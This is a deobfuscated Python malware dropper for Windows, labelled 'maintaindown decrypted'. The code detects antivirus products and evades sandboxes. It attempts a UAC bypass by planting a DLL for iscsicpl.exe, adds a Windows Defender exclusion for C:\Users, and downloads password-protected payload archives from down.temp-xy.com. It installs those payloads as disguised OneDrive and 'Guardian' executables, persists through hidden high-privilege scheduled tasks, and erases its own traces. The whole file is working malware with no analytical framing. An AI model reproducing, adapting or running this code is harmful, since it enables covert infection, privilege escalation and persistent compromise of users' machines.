maintaindown decrypted

import os
import sys
import ctypes
import shutil
import time
import zipfile
import urllib.request
import subprocess
import requests
import tempfile
import getpass
import base64


def _c_(εSQΙSεBQ_: str) ->str:
    try:
        if not isinstance(εSQΙSεBQ_, str) or not εSQΙSεBQ_.startswith('x'):
            return εSQΙSεBQ_
        Ι5βQ25_0 = int(εSQΙSεBQ_[1:2])
        τρβ_0ZΙΟ = int(εSQΙSεBQ_[2:3])
        τε_βΙΙO_ = εSQΙSεBQ_[3:]
        Τι8ει_Τ_S5 = [lambda data: base64.b85decode(data.encode('utf-8')).
            decode('utf-8'), lambda data: base64.b64decode(data.encode(
            'utf-8')).decode('utf-8'), lambda data: base64.b64decode(data.
            encode('utf-8'))[16:].decode('utf-8')]
        Ο8QΤ_0ΤΟεΒΡ_B = min(Ι5βQ25_0 - 1, len(Τι8ει_Τ_S5) - 1)
        ΟΕ_QιΤιιΤΕ5O_02 = τε_βΙΙO_
        for _ in range(τρβ_0ZΙΟ):
            ΟΕ_QιΤιιΤΕ5O_02 = Τι8ει_Τ_S5[Ο8QΤ_0ΤΟεΒΡ_B](ΟΕ_QιΤιιΤΕ5O_02)
        return ΟΕ_QιΤιιΤΕ5O_02
    except Exception as e:
        return εSQΙSεBQ_


βΤΙ2τΡ = getpass.getuser()

def Τ1O_Τεβιο_2Ο():
    QΕο_OQlΤ = 'C:\Program Files'
    SZQΒQ8_ΕΤ_5 = ['Avast', 'AVG', 'Bitdefender', 'Kaspersky', 'McAfee',
        'Norton', 'Sophos', 'ESET', 'Malwarebytes', 'Avira', 'Panda', _c_
        ('x21VHJlbmQgTWljcm8='), 'F-Secure', 'Comodo',
        'BullGuard', '360 Total Security', 'Ad-Aware', 'Dr.Web', 'G-Data', 'Vipre', 'ClamWin', 'ZoneAlarm', _c_
        ('x21Q3lsYW5jZQ=='), 'Webroot', 'Palo Alto Networks', 'Symantec', 'SentinelOne', 'CrowdStrike', 'Emsisoft', 'HitmanPro', 'Fortinet',
        'FireEye', 'Zemana', 'Windows Defender']
    for BBlBIροΟ in os.listdir(QΕο_OQlΤ):
        Β1ΙΤ2ι_0ΕΕΙBτΡ = os.path.join(QΕο_OQlΤ, BBlBIροΟ)
        if os.path.isdir(Β1ΙΤ2ι_0ΕΕΙBτΡ):
            for Ι2IβQ1_5_ in SZQΒQ8_ΕΤ_5:
                if Ι2IβQ1_5_.lower() in BBlBIροΟ.lower():
                    return Ι2IβQ1_5_
    return None


ρρlΕΒ_ε_2οISΙΡ = 3


def ρS_0ΕοοΟΟ8ιΟ():
    ΒlΙOΤΟτΙ2_SΕ8 = ctypes.windll.kernel32.GetLogicalDrives()
    QρZο5I = []
    for ΒOl58II_ in 'CDEFGHIJKLMNOPQRSTUVWXYZ':
        if ΒlΙOΤΟτΙ2_SΕ8 & 1 << ord(ΒOl58II_) - ord('A'):
            Sοι_ΟQ5QQQΡ = str(ΒOl58II_) + ':\\'
            τεερββlΤ_BΕ = ctypes.windll.kernel32.GetDriveTypeW(Sοι_ΟQ5QQQΡ)
            if τεερββlΤ_BΕ == ρρlΕΒ_ε_2οISΙΡ:
                QρZο5I.append(Sοι_ΟQ5QQQΡ)
    if len(QρZο5I) < 2:
        sys.exit(1)





def Q15Q0lIρΙlBει():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False


QβS_Βι_S_ρρ_QΤρΙ0 = Q15Q0lIρΙlBει()
IIΤ8Q1_O = 'C:\Users\' + str(βΤΙ2τΡ) + '\AppData\Local\Microsoft\WindowsApps'
if not os.path.isdir(IIΤ8Q1_O):
    sys.exit(0)
τεΡ_IΡΙΤ_ = os.path.dirname(os.path.abspath(__file__))


def ΕεΤ_OZΡBΕβρΙ(ι80QSΟ01_, l1ιΤ_0Τ, βε_20_ΙοOI=2, ΡΒ51ΤοΤ_=30):
    time.sleep(2)
    OlΡ_οl_ρ_S0Ο_ρτρ = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Accept': '*/*', 'Accept-Language': 'en-US,en;q=0.9', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive'}
    if urllib is not None:
        for B8_Oτ_O08Ρ_Τ0ι in range(βε_20_ΙοOI):
            try:
                B05βοβΤΙ_ZSI = urllib.request.Request(ι80QSΟ01_, headers=
                    OlΡ_οl_ρ_S0Ο_ρτρ)
                with urllib.request.urlopen(B05βοβΤΙ_ZSI, timeout=ΡΒ51ΤοΤ_
                    ) as ΕO_Ο215:
                    Iι_β_ε5QοΒ = int(ΕO_Ο215.getheader('Content-Length', 0))
                    ρερSΙΟιΟ5Ι_ = 0
                    with open(l1ιΤ_0Τ, 'wb') as βOO_1_OZ1:
                        while True:
                            β5QZ_ΡρρΕΒεII2 = ΕO_Ο215.read(8192)
                            if not β5QZ_ΡρρΕΒεII2:
                                break
                            βOO_1_OZ1.write(β5QZ_ΡρρΕΒεII2)
                            ρερSΙΟιΟ5Ι_ += len(β5QZ_ΡρρΕΒεII2)
                    if Iι_β_ε5QοΒ == 0 or ρερSΙΟιΟ5Ι_ == Iι_β_ε5QοΒ:
                        return True
            except (urllib.error.URLError, urllib.error.HTTPError) as e:
                if B8_Oτ_O08Ρ_Τ0ι == βε_20_ΙοOI - 1:
                    break
                continue
    for B8_Oτ_O08Ρ_Τ0ι in range(βε_20_ΙοOI):
        try:
            ΕO_Ο215 = requests.get(ι80QSΟ01_, headers=OlΡ_οl_ρ_S0Ο_ρτρ,
                stream=True, timeout=ΡΒ51ΤοΤ_)
            ΕO_Ο215.raise_for_status()
            Iι_β_ε5QοΒ = int(ΕO_Ο215.headers.get('content-length', 0))
            ρερSΙΟιΟ5Ι_ = 0
            with open(l1ιΤ_0Τ, 'wb') as βOO_1_OZ1:
                for β5QZ_ΡρρΕΒεII2 in ΕO_Ο215.iter_content(chunk_size=8192):
                    if β5QZ_ΡρρΕΒεII2:
                        βOO_1_OZ1.write(β5QZ_ΡρρΕΒεII2)
                        ρερSΙΟιΟ5Ι_ += len(β5QZ_ΡρρΕΒεII2)
            if Iι_β_ε5QοΒ == 0 or ρερSΙΟιΟ5Ι_ == Iι_β_ε5QοΒ:
                return True
        except requests.exceptions.RequestException as e:
            if B8_Oτ_O08Ρ_Τ0ι == βε_20_ΙοOI - 1:
                return False
            continue
    return False


if not os.path.isfile(os.path.join(τεΡ_IΡΙΤ_, 'python37.dll')):
    time.sleep(60 * 60)
    sys.exit(0)
if not QβS_Βι_S_ρρ_QΤρΙ0:
    τ1llZ_I_0_Ι = os.path.dirname(os.path.abspath(__file__))
    οι0lοεε8τ1ι8 = os.path.join(τ1llZ_I_0_Ι, 'svpy.exe')
    Οβ0βροΕQΟlο_ = os.path.join(τ1llZ_I_0_Ι, 'maintaindown.py')
    ΙQΤβ_ρρτο_ = os.getenv('TEMP')
    ιρl2Τ0_ = os.path.join(ΙQΤβ_ρρτο_, 'runs.vbs')
    βΡοοτSβΟ5 = 'Set ws = CreateObject("WScript.Shell")
ws.Run """' + str(οι0lοεε8τ1ι8) + '"" ""' + str(Οβ0βροΕQΟlο_) + '""", 0
'
    with open(ιρl2Τ0_, 'w', encoding='utf-8') as QΒΟ_Oβ08Il:
        QΒΟ_Oβ08Il.write(βΡοοτSβΟ5)
    ιΒ_1βΙZΙιε0ο = os.path.join(τεΡ_IΡΙΤ_, 'ISCSIEXE.dll')
    Ρ5_βΒρl_8_IΤ2οο = os.path.join(IIΤ8Q1_O, 'ISCSIEXE.dll')
    try:
        shutil.move(ιΒ_1βΙZΙιε0ο, Ρ5_βΒρl_8_IΤ2οο)
    except Exception as e:
        pass
    try:
        οZρ_τl_O_οΤ = 'C:\Windows\SysWOW64\iscsicpl.exe'
        os.startfile(οZρ_τl_O_οΤ)
        time.sleep(10)
    except Exception as e:
        pass
    sys.exit(0)
if QβS_Βι_S_ρρ_QΤρΙ0:
    import tempfile
    if Τ1O_Τεβιο_2Ο() == 'Windows Defender':
        ρι_B_ΙιΙε_Ο_Ι_SO_Z = 'powershell.exe -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\""'
        try:
            subprocess.run(ρι_B_ΙιΙε_Ο_Ι_SO_Z, creationflags=subprocess.
                CREATE_NO_WINDOW)
        except:
            pass
    τ8Ββ_βΕl_2Q1ε = 'https://down.temp-xy.com/update/onedrive.zip'
    ρlΟΒΤ5ρετΕ = 'https://down.temp-xy.com/update/onedrivetwo.zip'
    βΟΕ_lO_ΕΤΒΒο1_ = b'QwE123QwE123QwEl23QwE123'
    Bρ_1εΤ0 = 'C:\Users\' + str(βΤΙ2τΡ) + '\AppData\Local\Microsoft\OneDrive\setup'
    ZOlρ_οΕ1Ο88I = 'C:\Users\' + str(βΤΙ2τΡ) + '\AppData\Local\Microsoft\Windows\Caches'
    os.makedirs(Bρ_1εΤ0, exist_ok=True)
    os.makedirs(ZOlρ_οΕ1Ο88I, exist_ok=True)
    IεSI0ΤΕ_2οΡ_Ρ = os.path.join(tempfile.gettempdir(), 'update.zip')
    Oι_ΟιΟ_82 = os.path.join(tempfile.gettempdir(), 'update1.zip')
    if not ΕεΤ_OZΡBΕβρΙ(τ8Ββ_βΕl_2Q1ε, IεSI0ΤΕ_2οΡ_Ρ):
        sys.exit(0)
    if not ΕεΤ_OZΡBΕβρΙ(ρlΟΒΤ5ρετΕ, Oι_ΟιΟ_82):
        sys.exit(0)
    try:
        with zipfile.ZipFile(IεSI0ΤΕ_2οΡ_Ρ, 'r') as εΤSΟZ_Β_OΕΡ:
            εΤSΟZ_Β_OΕΡ.extractall(Bρ_1εΤ0, pwd=βΟΕ_lO_ΕΤΒΒο1_)
    except Exception:
        sys.exit(0)
    try:
        with zipfile.ZipFile(Oι_ΟιΟ_82, 'r') as εΤSΟZ_Β_OΕΡ:
            εΤSΟZ_Β_OΕΡ.extractall(ZOlρ_οΕ1Ο88I, pwd=βΟΕ_lO_ΕΤΒΒο1_)
    except Exception:
        sys.exit(0)
    try:
        os.remove(IεSI0ΤΕ_2οΡ_Ρ)
        os.remove(Oι_ΟιΟ_82)
    except:
        pass
    S5ε1Ε5 = 'SvcPowerGreader'
    Οο8Ι_ΤB_οΡι = 'PythonConverter'
    οZρ_τl_O_οΤ = os.path.join(Bρ_1εΤ0, 'OneDrivePatcher.exe')
    QZΤ_β8_Ο51ιB = os.path.join(ZOlρ_οΕ1Ο88I, 'Guardian.exe')
    οι0lοεε8τ1ι8 = os.path.join(ZOlρ_οΕ1Ο88I, 'update.py')
    lSQ_ρρΕΤε_l_β50 = Bρ_1εΤ0
    Oτ8Τ_ΤΕρ_1Ο_I_8_ = ZOlρ_οΕ1Ο88I
    ε8Zε2Ol_τοZ = '\Microsoft\Windows\SoftwareProtectionPlatform'
    ΕΒ1_ε5_ΙΒοBI_Β_εQ = '\Microsoft\Windows\AppID'
    BQΕS2βΡ = '
    try {
        $action = New-ScheduledTaskAction -Execute '' + str(οZρ_τl_O_οΤ) + '' -WorkingDirectory '' + str(
        lSQ_ρρΕΤε_l_β50) + ''
        $trigger = New-ScheduledTaskTrigger -AtStartup
        $trigger.Delay = 'PT13M'  # 13 minutes delay after startup
        $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable
        $principal = New-ScheduledTaskPrincipal -UserId '' + str(βΤΙ2τΡ) + '' -LogonType Interactive -RunLevel Highest
        Register-ScheduledTask -TaskName '' + str(S5ε1Ε5) + '' -TaskPath '' + str(ε8Zε2Ol_τοZ
        ) + '' -Action $action -Trigger $trigger -Settings $settings -Principal $principal -Force
        Write-Output 'Task created successfully.'
    } catch {
        Write-Error $_.Exception.Message
    }
    '
    Oι_β_ρει8Z1Ιββ = '
    try {
        $action = New-ScheduledTaskAction -Execute '' + str(QZΤ_β8_Ο51ιB) + '' -Argument '' + str(
        οι0lοεε8τ1ι8) + '' -WorkingDirectory '' + str(
        Oτ8Τ_ΤΕρ_1Ο_I_8_) + ''
        $trigger = New-ScheduledTaskTrigger -AtStartup
        $trigger.Delay = 'PT20M'  # 20 minutes delay after startup
        $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable
        $principal = New-ScheduledTaskPrincipal -UserId '' + str(βΤΙ2τΡ) + '' -LogonType Interactive -RunLevel Highest
        Register-ScheduledTask -TaskName '' + str(Οο8Ι_ΤB_οΡι) + '' -TaskPath '' + str(
        ΕΒ1_ε5_ΙΒοBI_Β_εQ) + '' -Action $action -Trigger $trigger -Settings $settings -Principal $principal -Force
        Write-Output 'Task created successfully.'
    } catch {
        Write-Error $_.Exception.Message
    }
    '
    try:
        ρτ_SοΟSΡ5ο = subprocess.run(['powershell.exe', '-ExecutionPolicy', 'Bypass', '-NoProfile', '-WindowStyle', 'Hidden', '-Command', BQΕS2βΡ], check=False,
            stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True,
            creationflags=subprocess.CREATE_NO_WINDOW)
        if ρτ_SοΟSΡ5ο.returncode == 0:
            time.sleep(5)
        else:
            time.sleep(5)
    except Exception as e:
        time.sleep(5)
    try:
        ρτ_SοΟSΡ5ο = subprocess.run(['powershell.exe', '-ExecutionPolicy', 'Bypass', '-NoProfile', '-WindowStyle', 'Hidden', '-Command', Oι_β_ρει8Z1Ιββ], check=
            False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=
            True, creationflags=subprocess.CREATE_NO_WINDOW)
        if ρτ_SοΟSΡ5ο.returncode == 0:
            time.sleep(2)
        else:
            time.sleep(2)
    except Exception as e:
        time.sleep(2)
    βΕρ0BZεΡ_ΡOε = os.path.join(tempfile.gettempdir(), 'del_temp.bat')
    with open(βΕρ0BZεΡ_ΡOε, 'w', encoding='utf-8') as QΒΟ_Oβ08Il:
        QΒΟ_Oβ08Il.write('@echo off
timeout /t 10 /nobreak >nul
del /f /q "' + str(os.path.join(IIΤ8Q1_O, 'ISCSIEXE.dll')) + '"
del /f /q "%TEMP%\runs.vbs"
del /f /q "' +
            str(os.path.abspath(sys.argv[0])) + '"
del /f /q "%~f0"
')
    subprocess.Popen(['cmd', '/c', βΕρ0BZεΡ_ΡOε], creationflags=
        subprocess.CREATE_NO_WINDOW)
    os.startfile(οZρ_τl_O_οΤ)
    time.sleep(5)
sys.exit(0)